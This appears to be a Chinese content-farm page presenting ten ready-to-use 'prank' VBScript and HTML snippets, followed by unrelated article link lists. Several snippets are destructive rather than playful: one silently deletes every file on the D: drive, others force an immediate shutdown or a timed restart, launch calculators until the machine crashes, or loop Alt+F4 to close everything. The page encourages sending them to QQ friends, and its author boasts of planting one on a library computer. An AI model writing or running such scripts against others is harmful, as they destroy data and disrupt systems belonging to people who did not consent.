整人代码大全
操作方法01
【代码一】
你打开好友的聊天对话框,然后记下在你QQ里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
代码如下：
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
02【代码二】
我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。
do
msgbox "You are foolish!"
loop
03【代码三】
打开无数个计算器，直到死机。
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
【代码四】
直接关机。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
【代码五】
删除D:\所有文件。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
【代码六】
不断弹出窗口
while(1)
msgbox "哈哈 你被耍了！"
loop
【代码七】
不断按下alt+f4（开什么都关闭）。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
【代码八】
按500次回车 （以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改）。
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
【代码九】
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
【代码十】
网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗？');
alert('你把我的话当什么了？');
alert('你知道错了吗？');
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a>
</body>
</html>
以上内容就是来自于小编为大家分享的关于整人代码大全方面的知识，同时也希望小编所为大家分享的知识能够为大家起到帮助，那么如果大家还想要了解更多关于其他方面的知识，也欢迎小编对站长进行留言，我们将会听取用户们的建议，让本站越做越好。
免责声明：本文由用户上传，如有侵权请联系删除！
猜你喜欢
- 郦志隆降压表怎么样（郦志隆降压表）
- 可以逗大家开心的节目（逗笑与逗乐是个怎样的节目）
- 世界杯比分最悬殊的比赛（世界杯上最大的逆转是哪一场比赛）
- 电视剧里有李佳萱（李佳萱是什么电视剧中的人物简介介绍）
- 中国人可以在泰国租车吗（去泰国可以在当地租车自驾吗）
- 广州珠江新城花城大道附近酒店（广州天河中学珠江新城校区附近有什么酒店）
- 辽宁足球俱乐部重建（辽宁足球俱乐部官网）
- 关于焦油的（松焦油的作用简介介绍）
- 东北财经大学和东北师范大学哪个好（二本东北财经营口校区和辽宁师范大学哪个好）
- new（balance1400中底是什么材质）
- 笔记本要怎么连接打印机（笔记本怎么连接打印机设备简介介绍）
- 他喜欢的明星是（有哪些明星艺人是你自始至终一直非常喜欢的）
最新文章
- 中国好声音如果没有你李昊瀚（山野中国好声音李昊瀚唱的那么好为什么淘汰）
- 被套的尺寸是多少（被套尺寸一般是多少简介介绍）
- 怪物x联盟复刻版攻略（怪物x联盟复刻祥云马）
- 阳历是快的还是慢得（快的和慢的哪个是阳历简介介绍）
- 英雄联盟赵信特战先锋（特战先锋德邦总管赵信）
- 凤凰传奇有一首歌叫什么（凤凰传奇有一首歌歌词有）
- 为什么腾讯视频看不了直播（腾讯lpl视频看不了怎么办）
- Blue(Da（Ba Dee) 歌词）
- 联想z475开机黑屏（联想Z475开机超慢怎么回事）
- 吴建豪舞林大会跳的舞（2011舞林大会吴建豪怎么没有看见进复赛）
- 海清结婚了吗现在怎么样了（海清结婚了吗）
- 开十字绣店到哪里进货（开十字绣店在哪里进货怎么进货呢）
- 卫庄大战六剑奴是哪一集（卫庄哪集说的六剑奴是值得一战的对手）
- 微信六年来第一次开始“变脸”为什么
- iphone怎么看已连接wifi密码（iPhone怎么越狱啊）
- 求K233次列车（15车厢的座位号）
- 能链综合能源港里的充电站为何成为香饽饽
- 鸡蛋怎么做比较有营养（鸡蛋怎么做比较好吃）
- lol手游霞怎么出装（LOL新英雄霞与洛逆羽霞如何出装霞怎么出装）
- 穿越火线什么时候上架（穿越火线什么时候能玩）
- 北比臼舅怎么读（北比臼日怎么读）
- 创世之柱任务有什么用（创世之柱任务怎么做）
- 徐磊的歌曲（写给你的歌 徐磊乐演唱作品）
- 广州市经济适用住房准购证明怎么办理（如何取得广州市经济适用住房准购证明）